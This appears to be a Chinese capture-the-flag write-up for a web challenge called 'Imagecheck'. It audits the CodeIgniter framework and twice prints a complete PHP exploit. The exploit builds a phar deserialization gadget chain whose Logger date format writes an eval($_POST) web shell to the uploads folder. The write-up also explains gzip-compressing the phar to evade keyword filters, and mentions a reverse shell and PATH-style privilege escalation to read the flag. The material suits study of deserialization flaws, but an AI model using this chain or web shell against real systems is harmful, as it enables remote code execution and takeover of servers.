Web
Imagecheck
md,这是拿着0day出题吗
ci框架的审计,通过反序列化可以写shell

通过gzip可以绕过phar的关键词检测

最终exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php
namespace CodeIgniter\Cache\Handlers { class RedisHandler { public $redis; public function __construct($redis) { $this->redis = $redis; } } }
namespace CodeIgniter\Session\Handlers {
class RedisHandler { public $redis; public $logger; public function __construct() { $this->redis = new \Redis(); $this->logger = new \CodeIgniter\Log\Logger([]); } } }
namespace CodeIgniter\Log {
class Logger { public $handlerConfig = array("CodeIgniter\Log\Handlers\FileHandler" => ["path"=>"/var/www/html/public/uploads/","fileExtension"=>"1.php","filePermissions"=>777,"handles"=>["error"]]); public $handlers = ["error"]; public $loggableLevels = ['error']; public $dateFormat = "<?p\hp \\e\\v\a\l\(\$\_\P\O\S\T\[\a\]\)\; \?\>";
} }
namespace CodeIgniter{ class BaseModel{ public $db; public function __construct() { $this->db = new \CodeIgniter\Session\Handlers\RedisHandler(); } } }
namespace { class Redis{
} $a = new CodeIgniter\Cache\Handlers\RedisHandler(new \CodeIgniter\Session\Handlers\RedisHandler()); echo serialize($a); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering(); }
|
全局搜索__destruct
,能发现三个地方,可以看到RedisHandler
这个点中的$this->redis
我们可以任意控制,比较方便,就从这下手

全局搜索close
方法,可以看到CodeIgniter\Session\Handlers\RedisHandler
的close方法中有一个log,猜测可能存在写文件的功能,全局搜索logger
或者error
方法

在CodeIgniter\Log\Logger
找到一个看着比较靠谱的,跟进log
方法

在log
方法中看到这一行,应该是存入日志,继续搜搜handle
方法

这里有一个完美的写文件的地方,文件路径和文件名我们可以随意控制

文件内容我们可以从这里控制,又是一个小trick,我们可以通过反斜杠控制date
函数的输出,使其输出成我们的一句话木马
1
| echo date('<?p\hp \e\v\a\l\(\$\_\P\O\S\T\[\a\]\)\; \?\>');
|

利用链很明确了,构造exp即可
先令CodeIgniter\Cache\Handlers\RedisHandler
中的$this->redis
为CodeIgniter\Session\Handlers\RedisHandler
,进入触发日志记录的close方法
要想触发日志记录,必须抛出RedisException
异常,一开始我并不知道Redis
是php的内置类,vscode也没有提示我,后来才知道必须要装扩展才能使用
在这里我们可以先自己定义一个空的Redis
类,这样生成payload的时候不会报错,在服务器上也能正常执行

定义一个redis类

之后将$this->logger
赋值成logger
类,以触发error
方法

先赋值一下这里,令$this->loggableLevels=['error']

在logger类中,写文件的handle
方法依赖于CodeIgniter\Log\Handlers\FileHandler
类,FileHandler
类的实例化和配置参数是通过handlerConfig
控制的,因此我们需要构造一下handlerConfig

为了避开这里,我们需要把后缀写成这样


最终exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66
| <?php
namespace CodeIgniter\Cache\Handlers { class RedisHandler { public $redis; public function __construct($redis) { $this->redis = $redis; } } }
namespace CodeIgniter\Session\Handlers {
class RedisHandler { public $redis; public $logger; public function __construct() { $this->redis = new \Redis(); $this->logger = new \CodeIgniter\Log\Logger([]); } } }
namespace CodeIgniter\Log {
class Logger { public $handlerConfig = array("CodeIgniter\Log\Handlers\FileHandler" => ["path"=>"/var/www/html/public/uploads/","fileExtension"=>"1.php","filePermissions"=>777,"handles"=>["error"]]); public $loggableLevels = ['error']; public $dateFormat = "<?p\hp \\e\\v\a\l\(\$\_\P\O\S\T\[\a\]\)\; \?\>";
} }
namespace CodeIgniter{ class BaseModel{ public $db; public function __construct() { $this->db = new \CodeIgniter\Session\Handlers\RedisHandler(); } } }
namespace { class Redis{ }
$a = new CodeIgniter\Cache\Handlers\RedisHandler(new \CodeIgniter\Session\Handlers\RedisHandler()); echo serialize($a); $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar->stopBuffering();
}
|
生成phar后,使用gzip压缩,避免关键词检测

上传,触发



反弹shell后利用环境变量提权,/readflag
似乎是执行了ls命令,于是就替换下ls

